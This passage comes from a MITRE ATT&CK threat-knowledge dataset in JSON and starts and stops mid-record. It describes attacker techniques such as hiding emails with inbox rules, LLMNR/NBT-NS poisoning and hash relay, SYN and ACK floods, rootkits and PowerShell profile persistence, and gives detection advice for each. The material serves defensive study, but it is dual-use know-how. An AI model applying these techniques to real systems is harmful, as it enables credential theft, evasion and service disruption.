Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.","url":"https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121"},{"source_name":"Microsoft Azure Resources","description":"Microsoft Azure. (2024, May 31). Organize your Azure resources effectively. Retrieved September 25, 2024.","url":"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources"},{"source_name":"Microsoft Peach Sandstorm 2023","description":"Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:56:27.592Z","name":"Email Hiding Rules","description":"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Dor Edry, Microsoft","Liran Ravich, CardinalOps"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux","macOS","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Command: Command Execution","Application Log: Application Log Content","File: File Modification"],"type":"attack-pattern","id":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","created":"2021-06-07T13:20:23.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1564/008","external_id":"T1564.008"},{"source_name":"MacOS Email Rules","description":"Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.","url":"https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"},{"source_name":"Microsoft BEC Campaign","description":"Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.","url":"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"},{"source_name":"Microsoft Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"},{"source_name":"Microsoft Inbox Rules","description":"Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.","url":"https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"},{"source_name":"Microsoft New-InboxRule","description":"Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"},{"source_name":"Microsoft Set-InboxRule","description":"Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"},{"source_name":"Microsoft Cloud App Security","description":"Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.","url":"https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","type":"attack-pattern","created":"2020-02-20T14:34:08.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1491.002","url":"https://attack.mitre.org/techniques/T1491/002"},{"source_name":"FireEye Cyber Threats to Media Industries","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf","description":"FireEye. (n.d.). Retrieved April 19, 2019."},{"source_name":"Kevin Mandia Statement to US Senate Committee on Intelligence","url":"https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf","description":"Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019."},{"source_name":"Anonymous Hackers Deface Russian Govt Site","url":"https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/","description":"Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019."},{"source_name":"Trend Micro Deep Dive Into Defacement","url":"https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf","description":"Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019."}],"modified":"2022-03-25T19:34:37.539Z","name":"External Defacement","description":"An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","File: File Modification","File: File Creation","Network Traffic: Network Traffic Content"],"x_mitre_impact_type":["Integrity"]},{"modified":"2024-10-15T16:32:45.108Z","name":"Encrypted/Encoded File","description":"Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["David Galazin @themalwareman1","Andrew Northern, @ex_raritas","Jai Minton, @Cyberraiju"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Creation","File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","created":"2024-03-29T12:38:17.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/013","external_id":"T1027.013"},{"source_name":"File obfuscation","description":"Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.","url":"https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/"},{"source_name":"SFX - Encrypted/Encoded File","description":"Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.","url":"https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Eric Kuehn, Secure Ideas","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1171","url":"https://attack.mitre.org/techniques/T1171"},{"url":"https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution","description":"Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.","source_name":"Wikipedia LLMNR"},{"url":"https://technet.microsoft.com/library/cc958811.aspx","description":"Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.","source_name":"TechNet NetBIOS"},{"source_name":"byt3bl33d3r NTLM Relaying","url":"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html","description":"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."},{"source_name":"Secure Ideas SMB Relay","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."},{"url":"https://github.com/nomex/nbnspoof","description":"Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.","source_name":"GitHub NBNSpoof"},{"url":"https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response","description":"Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.","source_name":"Rapid7 LLMNR Spoofer"},{"url":"https://github.com/SpiderLabs/Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.","source_name":"GitHub Responder"},{"url":"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning","description":"Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.","source_name":"Sternsecurity LLMNR-NBTNS"},{"url":"https://github.com/Kevin-Robertson/Conveigh","description":"Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.","source_name":"GitHub Conveigh"}],"modified":"2020-02-11T19:09:48.452Z","name":"LLMNR/NBT-NS Poisoning and Relay","description":"Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","type":"attack-pattern","created":"2020-10-02T15:59:11.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.005","url":"https://attack.mitre.org/techniques/T1590/005"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:31:05.302Z","name":"IP Addresses","description":"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:51.289Z","name":"OS Exhaustion Flood","description":"Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_deprecated":false,"x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","created":"2020-02-20T15:27:18.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1499/001","external_id":"T1499.001"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"Cloudflare SynFlood","description":"Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.","url":"https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"},{"source_name":"Corero SYN-ACKflood","description":"Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.","url":"https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html"},{"source_name":"Arbor AnnualDoSreport Jan 2018","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.","url":"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2023-03-30T21:01:50.568Z","name":"Rootkit","description":"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_deprecated":false,"x_mitre_detection":"Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Drive: Drive Modification","Firmware: Firmware Modification","File: File Modification"],"x_mitre_defense_bypassed":["Anti-virus","File Monitoring","Host Intrusion Prevention Systems","Application Control","Signature-based Detection","System Access Controls"],"type":"attack-pattern","id":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","created":"2017-05-31T21:30:26.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1014","external_id":"T1014"},{"source_name":"CrowdStrike Linux Rootkit","description":"Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.","url":"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"},{"source_name":"BlackHat Mac OSX Rootkit","description":"Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.","url":"http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"},{"source_name":"Symantec Windows Rootkits","description":"Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.","url":"https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"},{"source_name":"Wikipedia Rootkit","description":"Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.","url":"https://en.wikipedia.org/wiki/Rootkit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2023-10-20T17:04:13.976Z","name":"PowerShell Profile","description":"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Allen DeRyke, ICE","Matt Green, @mgreen27"],"x_mitre_deprecated":false,"x_mitre_detection":"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Modification","Command: Command Execution","Process: Process Creation","File: File Creation"],"x_mitre_permissions_required":["User","Administrator"],"type":"attack-pattern","id":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","created":"2020-01-24T15:11:02.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/013","external_id":"T1546.013"},{"source_name":"Wits End and Shady PowerShell Profiles","description":"DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.","url":"https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"},{"source_name":"ESET Turla PowerShell May 2019","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"},{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"},{"source_name":"Microsoft About Profiles","description":"Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"},{"source_name":"Microsoft Profiles","description":"Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.","url":"https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-30T14:12:52.698Z","name":"JavaScript","description":"Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly 